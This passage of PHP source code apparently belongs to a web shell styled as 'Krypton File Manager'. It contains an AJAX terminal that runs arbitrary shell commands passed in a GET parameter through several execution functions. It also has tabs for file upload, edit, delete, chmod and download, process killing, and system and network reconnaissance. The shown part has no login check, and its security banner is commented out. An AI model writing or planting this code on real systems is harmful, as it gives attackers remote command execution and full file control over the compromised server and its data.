stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if ($error) $output .= "\n" . $error; } break; case 'popen': $handle = popen($command . ' 2>&1', 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } break; } } catch (Exception $e) { return ['output' => 'Error: ' . $e->getMessage(), 'error' => true]; } return ['output' => $output ?: 'Command executed (no output)', 'error' => false]; } } // --- FILE/FOLDER OPERATIONS ------------------------------------------------------------------- // Recursive delete for directories function rrmdir($dir) { if (!is_dir($dir)) return false; $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = "$dir/$file"; if (is_dir($path)) rrmdir($path); else unlink($path); } return rmdir($dir); } class FileOps { private $security; private $currentPath; public function __construct($security, $currentPath) { $this->security = $security; $this->currentPath = $currentPath; } public function upload($file) { $uploadPath = $this->currentPath . DIRECTORY_SEPARATOR . $file['name']; if (move_uploaded_file($file['tmp_name'], $uploadPath)) { return "File uploaded successfully!"; } else { return "Upload failed!"; } } public function createFolder($folder) { $folderPath = $this->currentPath . DIRECTORY_SEPARATOR . $folder; if (mkdir($folderPath, 0755, true)) { return "Folder created successfully!"; } else { return "Failed to create folder!"; } } public function rename($old, $new) { $oldPath = $this->currentPath . DIRECTORY_SEPARATOR . $old; $newPath = $this->currentPath . DIRECTORY_SEPARATOR . $new; if (rename($oldPath, $newPath)) { return "Renamed successfully!"; } else { return "Rename failed!"; } } public function delete($item) { $itemPath = $this->currentPath . DIRECTORY_SEPARATOR . $item; if (is_dir($itemPath)) { // Recursive delete for directory if (rrmdir($itemPath)) return "Folder deleted!"; else return "Failed to delete folder!"; } else { if (unlink($itemPath)) return "File deleted!"; else return "Failed to delete file!"; } } public function chmod($item, $permissions) { $itemPath = $this->currentPath . DIRECTORY_SEPARATOR . $item; // Validate permission code if (!preg_match('/^[0-7]{3,4}$/', $permissions)) { return "Invalid permission code! Must be 3-4 digit octal (0-7)."; } // If 3 digits, prepend with '0' if (strlen($permissions) === 3) { $permissions = '0' . $permissions; } $octalPerms = octdec($permissions); // Special handling for symlinks if (is_link($itemPath)) { return "Cannot change permissions of symbolic links directly."; } if (chmod($itemPath, $octalPerms)) { return "Permissions changed to " . $permissions . " (" . FileUtils::getFilePermissions($itemPath) . ") successfully!"; } else { return "Failed to change permissions! Check if you have sufficient privileges."; } } public function editFile($filename, $content) { $filePath = $this->currentPath . DIRECTORY_SEPARATOR . $filename; if (file_put_contents($filePath, $content) !== false) { return "File saved!"; } else { return "Failed to save file!"; } } } // --- REQUEST HANDLING ------------------------------------------------------------------------- $security = new SecurityManager(); $security->checkSessionTimeout(); $action = $_GET['action'] ?? ($_POST['action'] ?? 'browse'); $get_path = $_GET['path'] ?? ($_POST['current_path'] ?? null); $currentPath = $get_path ? $security->decryptPath($get_path) : getcwd(); $currentPath = realpath($currentPath) ?: getcwd(); $message = ''; $error = ''; // AJAX: Terminal if ($action === 'execute_command' && isset($_GET['command'])) { $command = $_GET['command']; $method = $_GET['method'] ?? 'exec'; $result = CommandUtils::executeCommand($command, $method); header('Content-Type: application/json'); echo json_encode($result); exit; } // AJAX: Kill process if ($action === 'kill_process' && isset($_GET['pid'])) { $pid = intval($_GET['pid']); $isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $killCommand = $isWindows ? "taskkill /F /PID $pid" : "kill -9 $pid"; $result = CommandUtils::executeCommand($killCommand); header('Content-Type: application/json'); echo json_encode($result); exit; } // POST actions $ops = new FileOps($security, $currentPath); if ($_SERVER['REQUEST_METHOD'] === 'POST') { // FIXED THE BUG: Check for specific actions with explicit conditions // This prevents the chmod action from being mistaken for delete if (isset($_FILES['file'])) { $message = $ops->upload($_FILES['file']); } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $message = $ops->createFolder($_POST['folder_name']); } elseif (isset($_POST['old_name']) && isset($_POST['new_name'])) { $message = $ops->rename($_POST['old_name'], $_POST['new_name']); } elseif (isset($_POST['item_name']) && isset($_POST['permissions'])) { // Check for chmod action (explicit permission field) $message = $ops->chmod($_POST['item_name'], $_POST['permissions']); } elseif (isset($_POST['item_name']) && isset($_POST['delete_action'])) { // Check for delete action (explicit delete_action field) $message = $ops->delete($_POST['item_name']); } elseif (isset($_POST['filename']) && isset($_POST['content'])) { $message = $ops->editFile($_POST['filename'], $_POST['content']); } } // Download if ($action === 'download' && isset($_GET['file'])) { $downloadFile = $security->decodeParameter($_GET['file']); $downloadPath = $currentPath . DIRECTORY_SEPARATOR . $downloadFile; if (file_exists($downloadPath) && is_readable($downloadPath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadFile) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); readfile($downloadPath); exit; } } // --- DIRECTORY LISTING ------------------------------------------------------------------------ $items = []; if (is_dir($currentPath)) { $files = scandir($currentPath); foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $filePath = $currentPath . DIRECTORY_SEPARATOR . $file; $items[] = [ 'name' => $file, 'path' => $filePath, 'enc' => $security->encodeParameter($file), 'is_dir' => is_dir($filePath), 'size' => is_file($filePath) ? filesize($filePath) : 0, 'modified' => filemtime($filePath), 'permissions' => FileUtils::getFilePermissions($filePath), 'octal_permissions' => FileUtils::getOctalPermissions($filePath), 'owner' => FileUtils::getFileOwner($filePath), 'readable' => is_readable($filePath), 'writable' => is_writable($filePath), 'editable' => !is_dir($filePath) && FileUtils::isEditableFile($file, $filePath) ]; } } } usort($items, function($a, $b) { if ($a['is_dir'] && !$b['is_dir']) return -1; if (!$a['is_dir'] && $b['is_dir']) return 1; return strcasecmp($a['name'], $b['name']); }); $breadcrumbs = FileUtils::buildBreadcrumbs($currentPath, $security); // --- HTML OUTPUT ------------------------------------------------------------------------------ ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Krypton File Manager</title> <style> body { font-family: 'Courier New', monospace; background: linear-gradient(135deg,#222 0%,#1a1a2e 50%,#16213e 100%); color: #00ff41; min-height: 100vh; line-height: 1.6; } .container { max-width: 1200px; margin: 0 auto; padding: 20px; } .security-warning { background: #ff4444; color: white; padding: 15px; margin-bottom: 20px; border-radius: 5px; text-align: center; font-weight: bold; } .header { text-align: center; margin-bottom: 30px; padding: 20px; background: rgba(0,255,65,0.1); border: 2px solid #00ff41; border-radius: 10px; } .tabs { display: flex; margin-bottom: 20px; border-bottom: 2px solid #00ff41; } .tab { padding: 10px 20px; background: rgba(0,255,65,0.1); border: none; color: #00ff41; cursor: pointer; border-top: 2px solid #00ff41; border-left: 2px solid #00ff41; border-right: 2px solid #00ff41; margin-right: 5px; } .tab.active { background: rgba(0,255,65,0.3); } .tab-content { display: none; background: rgba(0,255,65,0.05); padding: 20px; border: 2px solid #00ff41; border-radius: 0 10px 10px 10px; } .tab-content.active { display: block; } .breadcrumbs { margin-bottom: 20px; padding: 10px; background: rgba(0,255,65,0.1); border-radius: 5px; } .breadcrumbs a { color: #00ff41; text-decoration: none; margin-right: 5px; } .breadcrumbs a:hover { text-decoration: underline; } .actions { margin-bottom: 20px; display: flex; gap: 10px; flex-wrap: wrap; } .btn { padding: 8px 15px; background: rgba(0,255,65,0.2); color: #00ff41; border: 1px solid #00ff41; border-radius: 5px; cursor: pointer; text-decoration: none; display: inline-block; font-size: 14px; } .btn:hover { background: rgba(0,255,65,0.4); } .file-list { background: rgba(0,0,0,0.3); border: 2px solid #00ff41; border-radius: 10px; overflow: hidden; } .file-item { display: flex; align-items: center; padding: 10px; border-bottom: 1px solid rgba(0,255,65,0.2); transition: background 0.3s; } .file-item:hover { background: rgba(0,255,65,0.1); } .file-icon { font-size: 20px; margin-right: 10px; width: 30px; } .file-name { flex: 1; margin-right: 10px; } .file-name a { color: #00ff41; text-decoration: none; } .file-name a:hover { text-decoration: underline; } .file-info { display: flex; gap: 15px; font-size: 12px; color: #888; } .file-actions { display: flex; gap: 5px; } .file-actions .btn { padding: 4px 8px; font-size: 12px; } .form-group { margin-bottom: 15px; } .form-group label { display: block; margin-bottom: 5px; color: #00ff41; } .form-group input, .form-group select, .form-group textarea { width: 100%; padding: 8px; background: rgba(0,0,0,0.5); border: 1px solid #00ff41; border-radius: 5px; color: #00ff41; font-family: 'Courier New', monospace; } .form-group textarea { min-height: 400px; font-size: 14px; line-height: 1.4; } .terminal { background: #000; color: #00ff41; padding: 20px; border-radius: 10px; font-family: 'Courier New', monospace; margin-bottom: 20px; } .terminal-output { height: 300px; overflow-y: auto; background: #111; padding: 10px; border: 1px solid #00ff41; border-radius: 5px; white-space: pre-wrap; margin-bottom: 10px; } .terminal-input { display: flex; gap: 10px; } .terminal-input input { flex: 1; } .message { padding: 10px; margin-bottom: 20px; border-radius: 5px; text-align: center; } .message.success { background: rgba(0,255,0,0.2); border: 1px solid #00ff00; color: #00ff00; } .message.error { background: rgba(255,0,0,0.2); border: 1px solid #ff0000; color: #ff0000; } .media-preview { max-width: 100%; max-height: 500px; border: 2px solid #00ff41; border-radius: 10px; margin: 20px 0; } .file-content { background: rgba(0,0,0,0.5); padding: 20px; border: 2px solid #00ff41; border-radius: 10px; white-space: pre-wrap; font-family: 'Courier New', monospace; max-height: 500px; overflow-y: auto; margin: 20px 0; } .hex-dump { font-family: 'Courier New', monospace; font-size: 12px; line-height: 1.4; } .hex-offset { color: #888; } .hex-data { color: #00ff41; } .hex-ascii { color: #ffaa00; } .info-banner { background: rgba(0,150,255,0.2); border: 1px solid #0096ff; color: #0096ff; padding: 10px; border-radius: 5px; margin-bottom: 10px; } .warning-banner { background: rgba(255,165,0,0.2); border: 1px solid #ffa500; color: #ffa500; padding: 10px; border-radius: 5px; margin-bottom: 10px; } .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.8); } .modal-content { background-color: #1a1a2e; margin: 10% auto; padding: 20px; border: 2px solid #00ff41; border-radius: 10px; width: 80%; max-width: 500px; } .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; } .modal-title { color: #00ff41; font-size: 20px; } .close-modal { color: #00ff41; font-size: 28px; font-weight: bold; cursor: pointer; } .close-modal:hover { color: #ff4444; } .permission-input-group { display: flex; align-items: center; gap: 10px; margin-bottom: 15px; } .permission-input-group input { flex: 1; } .permission-help { font-size: 12px; color: #888; margin-top: 5px; } @media (max-width: 768px) { .file-item { flex-direction: column; align-items: flex-start; } .file-info { margin-top: 10px; } .file-actions { margin-top: 10px; } .actions { flex-direction: column; } .tabs { flex-wrap: wrap; } } </style> </head> <body> <div class="container"> <?php //<div class="security-warning"> echo Config::SECURITY_BANNER; </div> ?> <div class="header"> <h1>𓆩♡𓆪 Krypton File Manager v<?php echo Config::VERSION; ?> 𓆩♡𓆪</h1> <p>Current Path: <?php echo htmlspecialchars($currentPath); ?></p> </div> <?php if ($message): ?><div class="message success"><?php echo htmlspecialchars($message); ?></div><?php endif; ?> <?php if ($error): ?><div class="message error"><?php echo htmlspecialchars($error); ?></div><?php endif; ?> <div class="tabs"> <button class="tab active" onclick="showTab('files')">📁 Files</button> <button class="tab" onclick="showTab('terminal')">💻 Terminal</button> <button class="tab" onclick="showTab('sysinfo')">🖥️ System Info</button> <button class="tab" onclick="showTab('processes')">⚙️ Processes</button> <button class="tab" onclick="showTab('network')">🌐 Network</button> <a href="?"><button class="tab"> HOME</button></a> </div> <div id="files" class="tab-content active"> <?php if ($action === 'edit' && isset($_GET['file'])): ?> <?php $editFile = $security->decodeParameter($_GET['file']); $editFilePath = $currentPath . DIRECTORY_SEPARATOR . $editFile; $isEditable = FileUtils::isEditableFile($editFile, $editFilePath); ?> <div class="actions"> <a href="?action=browse&path=<?php echo $security->encryptPath($currentPath); ?>" class="btn">📂 Back to Files</a> </div> <?php if ($isEditable): ?> <h2>✏️ Editing: <?php echo htmlspecialchars($editFile); ?></h2> <form method="post" action="?action=edit_file&path=<?php echo $security->encryptPath($currentPath); ?>"> <input type="hidden" name="filename" value="<?php echo htmlspecialchars($editFile); ?>"> <div class="form-group"> <textarea name="content" placeholder="File content..."><?php if (file_exists($editFilePath) && is_readable($editFilePath)) { $contentResult = FileUtils::getSafeContent($editFilePath); if ($contentResult['type'] === 'text') { echo htmlspecialchars($contentResult['content']); } else { echo "# Cannot edit this file. Reason: " . htmlspecialchars($contentResult['message']); } } ?></textarea> </div> <button type="submit" class="btn">💾 Save File</button> </form> <?php else: ?> <div class="warning-banner"> <h3>⚠️ Cannot Edit File</h3> <p>File <strong><?php echo htmlspecialchars($editFile); ?></strong> cannot be edited because:</p> <ul> <?php $filesize = @filesize($editFilePath); $isBinary = FileUtils::isBinaryFile($editFilePath); if ($filesize > Config::MAX_TEXT_VIEW_SIZE): ?> <li>File is too large (<?php echo FileUtils::formatFileSize($filesize); ?>). Maximum editable size is <?php echo FileUtils::formatFileSize(Config::MAX_TEXT_VIEW_SIZE); ?></li> <?php endif; ?> <?php if ($isBinary): ?> <li>File contains binary data</li> <?php endif; ?> <?php if (!is_readable($editFilePath) || !is_writable($editFilePath)): ?> <li>File permissions don't allow reading/writing</li> <?php endif; ?> </ul> <p><a href="?action=view&file=<?php echo $security->encodeParameter($editFile); ?>&path=<?php echo $security->encryptPath($currentPath); ?>" class="btn">👁️ View File Instead</a></p> </div> <?php endif; ?> <?php elseif ($action === 'view' && isset($_GET['file'])): ?> <?php $viewFile = $security->decodeParameter($_GET['file']); $viewFilePath = $currentPath . DIRECTORY_SEPARATOR . $viewFile; $mediaType = FileUtils::getMediaType($viewFile); $isEditable = FileUtils::isEditableFile($viewFile, $viewFilePath); $contentResult = FileUtils::getSafeContent($viewFilePath); ?> <div class="actions"> <?php if ($isEditable): ?> <a href="?action=edit&file=<?php echo $security->encodeParameter($viewFile); ?>&path=<?php echo $security->encryptPath($currentPath); ?>" class="btn">✏️ Edit File</a> <?php endif; ?> <a href="?action=download&file=<?php echo $security->encodeParameter($viewFile); ?>&path=<?php echo $security->encryptPath($currentPath); ?>" class="btn">💾 Download</a> <a href="?action=browse&path=<?php echo $security->encryptPath($currentPath); ?>" class="btn">📂 Back to Files</a> </div> <h2>👁️ Viewing: <?php echo htmlspecialchars($viewFile); ?></h2> <?php if ($mediaType === 'image'): ?> <div class="info-banner"> <strong>Image File:</strong> <?php echo htmlspecialchars($viewFile); ?> (<?php echo FileUtils::formatFileSize(@filesize($viewFilePath)); ?>) </div> <?php if (file_exists($viewFilePath) && is_readable($viewFilePath)): ?> <img src="data:image/<?php echo pathinfo($viewFile, PATHINFO_EXTENSION); ?>;base64,<?php echo base64_encode(file_get_contents($viewFilePath)); ?>" class="media-preview" alt="<?php echo htmlspecialchars($viewFile); ?>"> <?php else: ?> <div class="error">Cannot read image file</div> <?php endif; ?> <?php elseif ($mediaType === 'video'): ?> <div class="info-banner"> <strong>Video File:</strong> <?php echo htmlspecialchars($viewFile); ?> (<?php echo FileUtils::formatFileSize(@filesize($viewFilePath)); ?>) </div> <?php if (file_exists($viewFilePath) && is_readable($viewFilePath)): ?> <video controls class="media-preview"> <source src="data:video/<?php echo pathinfo($viewFile, PATHINFO_EXTENSION); ?>;base64,<?php echo base64_encode(file_get_contents($viewFilePath)); ?>" type="video/<?php echo pathinfo($viewFile, PATHINFO_EXTENSION); ?>"> Your browser does not support the video tag. </video> <?php else: ?> <div class="error">Cannot read video file</div> <?php endif; ?> <?php elseif ($mediaType === 'audio'): ?> <div class="info-banner"> <strong>Audio File:</strong> <?php echo htmlspecialchars($viewFile); ?> (<?php echo FileUtils::formatFileSize(@filesize($viewFilePath)); ?>) </div> <?php if (file_exists($viewFilePath) && is_readable($viewFilePath)): ?> <audio controls class="media-preview"> <source src="data:audio/<?php echo pathinfo($viewFile, PATHINFO_EXTENSION); ?>;base64,<?php echo base64_encode(file_get_contents($viewFilePath)); ?>" type="audio/<?php echo pathinfo($viewFile, PATHINFO_EXTENSION); ?>"> Your browser does not support the audio tag. </audio> <?php else: ?> <div class="error">Cannot read audio file</div> <?php endif; ?> <?php else: ?> <?php if ($contentResult['type'] === 'error'): ?> <div class="warning-banner"> <strong>Error:</strong> <?php echo htmlspecialchars($contentResult['message']); ?> </div> <?php elseif ($contentResult['type'] === 'large' || $contentResult['type'] === 'large_binary'): ?> <div class="info-banner"> <strong>File Too Large:</strong> <?php echo htmlspecialchars($contentResult['message']); ?> <p>File size: <?php echo FileUtils::formatFileSize(@filesize($viewFilePath)); ?></p> </div> <p>Please download the file to view it locally.</p> <?php elseif ($contentResult['type'] === 'hex'): ?> <div class="info-banner"> <strong>Binary File - Hex Dump View:</strong> <?php echo htmlspecialchars($contentResult['message']); ?> <p>File contains binary data. Showing hex dump with ASCII representation.</p> </div> <div class="file-content hex-dump"> <?php // Parse and colorize hex dump $lines = explode("\n", $contentResult['content']); foreach ($lines as $line) { if (trim($line) === '') continue; // Split line into parts if (preg_match('/^([0-9a-f]{8})\s+((?:[0-9a-f]{2}\s){1,16})\s+(.*)$/i', $line, $matches)) { $offset = $matches[1]; $hexData = $matches[2]; $ascii = $matches[3]; echo '<span class="hex-offset">' . $offset . '</span> '; echo '<span class="hex-data">' . htmlspecialchars($hexData) . '</span> '; echo '<span class="hex-ascii">' . htmlspecialchars($ascii) . '</span><br>'; } else { echo htmlspecialchars($line) . '<br>'; } } ?> </div> <?php elseif ($contentResult['type'] === 'text'): ?> <div class="info-banner"> <strong>Text File:</strong> <?php echo htmlspecialchars($contentResult['message']); ?> </div> <div class="file-content"><?php echo htmlspecialchars($contentResult['content']); ?></div> <?php else: ?> <div class="warning-banner"> <strong>Unknown File Type</strong> <p>File size: <?php echo FileUtils::formatFileSize(@filesize($viewFilePath)); ?></p> </div> <p>This file type cannot be previewed. Please download it to view locally.</p> <?php endif; ?> <?php endif; ?> <?php else: ?> <div class="breadcrumbs"> <a href="?action=browse&path=<?php echo $security->encryptPath(getcwd()); ?>">🏠 Root</a> <?php foreach ($breadcrumbs as $crumb): ?> / <a href="?action=browse&path=<?php echo $crumb['enc']; ?>"><?php echo htmlspecialchars($crumb['name']); ?></a> <?php endforeach; ?> </div> <div class="actions"> <form method="post" enctype="multipart/form-data" style="display: inline;"> <input type="file" name="file" required> <button type="submit" name="action" value="upload" class="btn">📤 Upload</button> </form> <form method="post" style="display: inline;"> <input type="text" name="folder_name" placeholder="Folder name" required style="width: 150px;"> <button type="submit" name="action" value="create_folder" class="btn">📁 Create Folder</button> </form> </div> <div class="file-list"> <?php if ($currentPath !== getcwd()): ?> <div class="file-item"> <div class="file-icon">📁</div> <div class="file-name"> <a href="?action=browse&path=<?php echo $security->encryptPath(dirname($currentPath)); ?>">..</a> </div> <div class="file-info"> <span>Parent Directory</span> </div> </div> <?php endif; ?> <?php foreach ($items as $item): ?> <div class="file-item"> <div class="file-icon"><?php echo $item['is_dir'] ? '📁' : FileUtils::getFileIcon($item['name']); ?></div> <div class="file-name"> <?php if ($item['is_dir']): ?> <a href="?action=browse&path=<?php echo $security->encryptPath($item['path']); ?>"><?php echo htmlspecialchars($item['name']); ?></a> <?php else: ?> <a href="?action=view&file=<?php echo $item['enc']; ?>&path=<?php echo $security->encryptPath($currentPath); ?>"><?php echo htmlspecialchars($item['name']); ?></a> <?php endif; ?> </div> <div class="file-info"> <span title="Symbolic permissions"><?php echo $item['permissions']; ?></span> <span title="Octal permissions">(<?php echo $item['octal_permissions']; ?>)</span> <span><?php echo htmlspecialchars($item['owner']); ?></span> <span><?php echo $item['is_dir'] ? 'Directory' : FileUtils::formatFileSize($item['size']); ?></span> <span><?php echo date('Y-m-d H:i:s', $item['modified']); ?></span> </div> <div class="file-actions"> <?php if (!$item['is_dir'] && $item['editable']): ?> <a href="?action=edit&file=<?php echo $item['enc']; ?>&path=<?php echo $security->encryptPath($currentPath); ?>" class="btn">✏️</a> <?php endif; ?> <?php if (!$item['is_dir']): ?> <a href="?action=download&file=<?php echo $item['enc']; ?>&path=<?php echo $security->encryptPath($currentPath); ?>" class="btn">💾</a> <?php endif; ?> <button onclick="changePermissions('<?php echo htmlspecialchars($item['name']); ?>', '<?php echo $item['octal_permissions']; ?>')" class="btn" title="Change Permissions">🔐</button> <button onclick="renameItem('<?php echo htmlspecialchars($item['name']); ?>')" class="btn">✏️</button> <button onclick="deleteItem('<?php echo htmlspecialchars($item['name']); ?>')" class="btn">🗑️</button> </div> </div> <?php endforeach; ?> </div> <!-- REMOVED: Permission Examples section as requested --> <?php endif; ?> </div> <div id="terminal" class="tab-content"> <div class="terminal"> <h3>💻 Command Terminal</h3> <p>Available execution methods: <?php echo implode(', ', CommandUtils::getAvailableCommandFunctions()); ?></p> <div class="terminal-output" id="terminalOutput">Welcome to Krypton Terminal Available commands depend on your system and permissions. </div> <div class="terminal-input"> <select id="executionMethod"> <?php foreach (CommandUtils::getAvailableCommandFunctions() as $method): ?> <option value="<?php echo $method; ?>"><?php echo $method; ?></option> <?php endforeach; ?> </select> <input type="text" id="commandInput" placeholder="Enter command..." onkeypress="if(event.key==='Enter') executeCommand()"> <button onclick="executeCommand()" class="btn">Execute</button> <button onclick="clearTerminal()" class="btn">Clear</button> </div> </div> </div> <div id="sysinfo" class="tab-content"> <div class="terminal"> <h3>🖥️ System Information</h3> <p><strong>OS:</strong> <?php echo PHP_OS; ?></p> <p><strong>PHP Version:</strong> <?php echo PHP_VERSION; ?></p> <p><strong>Server Software:</strong> <?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; ?></p> <p><strong>Document Root:</strong> <?php echo $_SERVER['DOCUMENT_ROOT']; ?></p> <p><strong>Current User:</strong> <?php echo get_current_user(); ?></p> <p><strong>Server Time:</strong> <?php echo date('Y-m-d H:i:s'); ?></p> <p><strong>Memory Limit:</strong> <?php echo ini_get('memory_limit'); ?></p> <p><strong>Memory Usage:</strong> <?php echo FileUtils::formatFileSize(memory_get_usage(true)); ?></p> <p><strong>Peak Memory:</strong> <?php echo FileUtils::formatFileSize(memory_get_peak_usage(true)); ?></p> <p><strong>Disk Free Space:</strong> <?php echo FileUtils::formatFileSize(disk_free_space('.')); ?></p> <p><strong>Disk Total Space:</strong> <?php echo FileUtils::formatFileSize(disk_total_space('.')); ?></p> <p><strong>Max Execution Time:</strong> <?php echo ini_get('max_execution_time'); ?>s</p> <p><strong>Max Upload Size:</strong> <?php echo ini_get('upload_max_filesize'); ?></p> <p><strong>Post Max Size:</strong> <?php echo ini_get('post_max_size'); ?></p> <p><strong>Open Basedir:</strong> <?php echo ini_get('open_basedir') ?: 'None'; ?></p> <p><strong>Command Execution:</strong> <?php echo implode(', ', CommandUtils::getAvailableCommandFunctions()); ?></p> </div> </div> <div id="processes" class="tab-content"> <div class="terminal"> <h3>⚙️ Process Management</h3> <button onclick="loadProcesses()" class="btn">🔄 Refresh Processes</button> <div id="processList" class="terminal-output"><p>Click "Refresh Processes" to load running processes...</p></div> </div> </div> <div id="network" class="tab-content"> <div class="terminal"> <h3>🌐 Network Information</h3> <button onclick="loadNetworkInfo()" class="btn">🔄 Refresh Network Info</button> <div id="networkInfo" class="terminal-output"><p>Click "Refresh Network Info" to load network details...</p></div> <h3>🔗 Network Connections</h3> <button onclick="loadConnections()" class="btn">🔄 Refresh Connections</button> <div id="connectionsList" class="terminal-output"><p>Click "Refresh Connections" to load active connections...</p></div> </div> </div> </div> <!-- Change Permissions Modal --> <div id="permissionModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <div class="modal-title">🔐 Change Permissions</div> <span class="close-modal" onclick="closePermissionModal()">&times;</span> </div> <div id="permissionModalContent"> <!-- Content will be loaded by JavaScript --> </div> </div> </div> <script> function showTab(tabName) { const contents = document.querySelectorAll('.tab-content'); contents.forEach(content => content.classList.remove('active')); const tabs = document.querySelectorAll('.tab'); tabs.forEach(tab => tab.classList.remove('active')); document.getElementById(tabName).classList.add('active'); event.target.classList.add('active'); } function executeCommand() { const command = document.getElementById('commandInput').value; const method = document.getElementById('executionMethod').value; const terminalOutput = document.getElementById('terminalOutput'); if (!command.trim()) return; fetch('?action=execute_command&command=' + encodeURIComponent(command) + '&method=' + encodeURIComponent(method)) .then(response => response.json()) .then(data => { terminalOutput.innerHTML += '\n> ' + command + '\n'; terminalOutput.innerHTML += data.output + '\n'; terminalOutput.scrollTop = terminalOutput.scrollHeight; document.getElementById('commandInput').value = ''; }) .catch(error => { terminalOutput.innerHTML += '\nError executing command.\n'; }); } function clearTerminal() { document.getElementById('terminalOutput').innerHTML = 'Terminal cleared.\n'; } function loadProcesses() { const availableMethods = <?php echo json_encode(CommandUtils::getAvailableCommandFunctions()); ?>; if (availableMethods.length === 0) { document.getElementById('processList').innerHTML = '<div class="error">No command execution methods available for process management.</div>'; return; } const isWindows = <?php echo json_encode(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); ?>; const command = isWindows ? 'tasklist' : 'ps aux'; const method = availableMethods[0]; fetch('?action=execute_command&command=' + encodeURIComponent(command) + '&method=' + encodeURIComponent(method)) .then(response => response.json()) .then(data => { const processList = document.getElementById('processList'); const lines = data.output.split('\n'); let html = '<div class="terminal-output">' + data.output + '</div>'; if (!isWindows && lines.length > 1) { html += '<h4>Quick Actions:</h4>'; for (let i = 1; i < Math.min(lines.length, 20); i++) { const parts = lines[i].trim().split(/\s+/); if (parts.length > 1) { const pid = parts[1]; html += '<div class="file-item">'; html += '<span>' + lines[i] + '</span>'; html += '<button onclick="killProcess(' + pid + ')" class="btn">Kill</button>'; html += '</div>'; } } } processList.innerHTML = html; }) .catch(error => { document.getElementById('processList').innerHTML = 'Error loading processes.'; }); } function killProcess(pid) { if (confirm('Are you sure you want to kill process ' + pid + '?')) { fetch('?action=kill_process&pid=' + pid) .then(response => response.json()) .then(data => { alert(data.output); loadProcesses(); }) .catch(error => { alert('Error killing process.'); }); } } function loadNetworkInfo() { const availableMethods = <?php echo json_encode(CommandUtils::getAvailableCommandFunctions()); ?>; if (availableMethods.length === 0) { document.getElementById('networkInfo').innerHTML = '<div class="error">No method available for network info.</div>'; return; } const isWindows = <?php echo json_encode(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); ?>; const command = isWindows ? 'ipconfig /all' : 'ifconfig -a'; const method = availableMethods[0]; fetch('?action=execute_command&command=' + encodeURIComponent(command) + '&method=' + encodeURIComponent(method)) .then(response => response.json()) .then(data => { document.getElementById('networkInfo').innerHTML = '<div class="terminal-output">' + data.output + '</div>'; }) .catch(error => { document.getElementById('networkInfo').innerHTML = 'Error loading network information.'; }); } function loadConnections() { const availableMethods = <?php echo json_encode(CommandUtils::getAvailableCommandFunctions()); ?>; if (availableMethods.length === 0) { document.getElementById('connectionsList').innerHTML = '<div class="error">No method available for connections.</div>'; return; } const isWindows = <?php echo json_encode(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); ?>; const command = isWindows ? 'netstat -an' : 'netstat -tuln'; const method = availableMethods[0]; fetch('?action=execute_command&command=' + encodeURIComponent(command) + '&method=' + encodeURIComponent(method)) .then(response => response.json()) .then(data => { document.getElementById('connectionsList').innerHTML = '<div class="terminal-output">' + data.output + '</div>'; }) .catch(error => { document.getElementById('connectionsList').innerHTML = 'Error loading connections.'; }); } function renameItem(itemName) { const newName = prompt('Enter new name for: ' + itemName, itemName); if (newName && newName !== itemName) { const form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="action" value="rename">' + '<input type="hidden" name="old_name" value="' + itemName + '">' + '<input type="hidden" name="new_name" value="' + newName + '">'; document.body.appendChild(form); form.submit(); } } function deleteItem(itemName) { if (confirm('Are you sure you want to delete: ' + itemName + '?')) { const form = document.createElement('form'); form.method = 'post'; // FIXED: Added explicit delete_action field to distinguish from chmod form.innerHTML = '<input type="hidden" name="item_name" value="' + itemName + '">' + '<input type="hidden" name="delete_action" value="1">'; document.body.appendChild(form); form.submit(); } } function changePermissions(itemName, currentPerms) { const modal = document.getElementById('permissionModal'); const content = document.getElementById('permissionModalContent'); // Remove leading zero for display (if 4 digits) let displayPerms = currentPerms; if (displayPerms.length === 4 && displayPerms.charAt(0) === '0') { displayPerms = displayPerms.substring(1); } content.innerHTML = ` <p>Changing permissions for: <strong>${itemName}</strong></p> <p>Current permissions: <span class="permission-code">${displayPerms}</span> (${currentPerms})</p> <form id="permissionForm" method="post"> <input type="hidden" name="item_name" value="${itemName}"> <div class="permission-input-group"> <input type="text" name="permissions" id="permissionInput" value="${displayPerms}" placeholder="e.g., 644, 755, 777" pattern="[0-7]{3,4}" title="3-4 digit octal number (0-7)" required> <button type="button" class="btn" onclick="submitPermissionForm()">Apply</button> </div> <div class="permission-help"> Enter 3-4 digit octal permission code (0-7). Examples: 644 (files), 755 (folders) </div> </form> <div style="margin-top: 15px; padding: 10px; border: 1px solid #00ff41; border-radius: 5px;"> <h4 style="margin-top: 0; color: #00ff41;">Quick Examples:</h4> <div style="display: flex; flex-wrap: wrap; gap: 10px;"> <button type="button" class="btn" style="font-size: 12px;" onclick="setPermission('644')">644</button> <button type="button" class="btn" style="font-size: 12px;" onclick="setPermission('755')">755</button> <button type="button" class="btn" style="font-size: 12px;" onclick="setPermission('777')">777</button> <button type="button" class="btn" style="font-size: 12px;" onclick="setPermission('600')">600</button> <button type="button" class="btn" style="font-size: 12px;" onclick="setPermission('750')">750</button> <button type="button" class="btn" style="font-size: 12px;" onclick="setPermission('444')">444</button> </div> </div> `; modal.style.display = 'block'; // Focus on input setTimeout(() => { document.getElementById('permissionInput').focus(); document.getElementById('permissionInput').select(); }, 100); } function closePermissionModal() { document.getElementById('permissionModal').style.display = 'none'; } function setPermission(perm) { document.getElementById('permissionInput').value = perm; 